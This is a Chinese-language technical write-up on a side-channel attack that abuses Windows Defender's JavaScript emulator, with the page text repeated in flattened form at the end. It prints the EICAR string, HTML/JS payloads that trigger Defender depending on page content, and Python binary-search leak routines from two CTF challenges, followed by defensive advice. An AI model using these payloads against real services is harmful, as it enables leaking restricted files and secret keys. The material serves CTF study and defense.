Playing with Windows Defender
字数 1370 2025-08-25 22:58:20

Windows Defender侧信道攻击技术分析

1. Windows Defender行为概述

Windows Defender作为Windows系统的内置防护软件,具有以下关键行为特征:

  1. 内容检查:扫描文件内容中的恶意代码模式
  2. 权限修改:检测到恶意文件后,会修改文件权限阻止用户访问
  3. 内容清除:将恶意文件内容替换为null
  4. 文件删除:最终可能会删除恶意文件

其中第二步的行为特性(阻止用户访问检测到的恶意文件)被用于构建侧信道攻击。

2. EICAR测试文件

EICAR测试文件是标准的防病毒测试文件,内容如下:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

该文件专门设计用于测试防病毒软件是否正常工作,但不会造成实际危害。

3. Windows Defender的JavaScript分析

Windows Defender的核心组件mpengine.dll包含JScript引擎,能够:

  1. 分析HTML文档内容
  2. 解析其中的JavaScript代码
  3. 模拟执行DOM操作

触发条件分析

以下代码可以触发Windows Defender:

<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

关键点:

  • 必须包含document.body.innerHTML访问
  • 必须将EICAR字符串传递给eval()
  • 缺少DOM访问时不会触发检测

4. 侧信道攻击原理

利用Windows Defender的检测行为差异构建二进制判断:

  1. 构造条件语句,使EICAR字符串的完整性取决于目标数据
  2. 如果条件满足,生成完整EICAR字符串触发Defender
  3. 如果条件不满足,生成不完整EICAR字符串不触发Defender
  4. 通过文件是否被阻止来判断条件真假

示例攻击代码

<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>*</body>

当body第一个字符为*时触发Defender,否则不触发。

5. 实际攻击案例

5.1 Gyotaku (WCTF 2019)

攻击场景

  • 目标服务有本地访问限制的/flag路径
  • 提供创建网页快照(/gyotaku)功能
  • 快照内容包含用户控制的URL和用户名参数

利用方法

  1. 构造URL指向http://127.0.0.1/flag并注入恶意脚本
  2. 使用username参数闭合HTML标签
  3. 通过二分法逐字符泄露flag内容

攻击脚本核心逻辑

def leak(idx, sess):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        gid = trigger(m, idx, sess)
        if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
            l = m
        else:
            h = m
    return chr(l)

5.2 PHP-NOTE (TWCTF 2019)

攻击场景

  • PHP应用使用IIS服务器
  • 需要获取HMAC密钥进行反序列化攻击
  • 密钥存储在会话文件中

利用方法

  1. 通过注册功能向会话文件注入恶意脚本
  2. 利用Windows Defender阻止会话文件访问
  3. 通过登录是否成功判断密钥字符值

攻击脚本核心逻辑

def leak(idx):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        res = trigger(m, idx)
        if res:
            l = m
        else:
            h = m
    return chr(l)

6. 防御建议

  1. 输入验证:严格过滤用户提供的HTML/JavaScript内容
  2. 权限控制:确保敏感文件有适当访问限制
  3. 日志监控:记录异常的文件访问行为
  4. 环境隔离:关键服务与用户可控内容分离部署
  5. 更新机制:保持防病毒软件为最新版本

7. 参考资源

  1. Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator
  2. WCTF2019: Gyotaku Writeup
  3. EICAR测试文件标准

这种攻击方式展示了如何利用安全软件的行为特性构建侧信道,强调了在设计系统时需要全面考虑各种可能的攻击向量。

Windows Defender侧信道攻击技术分析 1. Windows Defender行为概述 Windows Defender作为Windows系统的内置防护软件,具有以下关键行为特征: 内容检查 :扫描文件内容中的恶意代码模式 权限修改 :检测到恶意文件后,会修改文件权限阻止用户访问 内容清除 :将恶意文件内容替换为null 文件删除 :最终可能会删除恶意文件 其中第二步的行为特性(阻止用户访问检测到的恶意文件)被用于构建侧信道攻击。 2. EICAR测试文件 EICAR测试文件是标准的防病毒测试文件,内容如下: 该文件专门设计用于测试防病毒软件是否正常工作,但不会造成实际危害。 3. Windows Defender的JavaScript分析 Windows Defender的核心组件 mpengine.dll 包含JScript引擎,能够: 分析HTML文档内容 解析其中的JavaScript代码 模拟执行DOM操作 触发条件分析 以下代码可以触发Windows Defender: 关键点: 必须包含 document.body.innerHTML 访问 必须将EICAR字符串传递给 eval() 缺少DOM访问时不会触发检测 4. 侧信道攻击原理 利用Windows Defender的检测行为差异构建二进制判断: 构造条件语句,使EICAR字符串的完整性取决于目标数据 如果条件满足,生成完整EICAR字符串触发Defender 如果条件不满足,生成不完整EICAR字符串不触发Defender 通过文件是否被阻止来判断条件真假 示例攻击代码 当body第一个字符为 * 时触发Defender,否则不触发。 5. 实际攻击案例 5.1 Gyotaku (WCTF 2019) 攻击场景 : 目标服务有本地访问限制的/flag路径 提供创建网页快照(/gyotaku)功能 快照内容包含用户控制的URL和用户名参数 利用方法 : 构造URL指向 http://127.0.0.1/flag 并注入恶意脚本 使用username参数闭合HTML标签 通过二分法逐字符泄露flag内容 攻击脚本核心逻辑 : 5.2 PHP-NOTE (TWCTF 2019) 攻击场景 : PHP应用使用IIS服务器 需要获取HMAC密钥进行反序列化攻击 密钥存储在会话文件中 利用方法 : 通过注册功能向会话文件注入恶意脚本 利用Windows Defender阻止会话文件访问 通过登录是否成功判断密钥字符值 攻击脚本核心逻辑 : 6. 防御建议 输入验证 :严格过滤用户提供的HTML/JavaScript内容 权限控制 :确保敏感文件有适当访问限制 日志监控 :记录异常的文件访问行为 环境隔离 :关键服务与用户可控内容分离部署 更新机制 :保持防病毒软件为最新版本 7. 参考资源 Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator WCTF2019: Gyotaku Writeup EICAR测试文件标准 这种攻击方式展示了如何利用安全软件的行为特性构建侧信道,强调了在设计系统时需要全面考虑各种可能的攻击向量。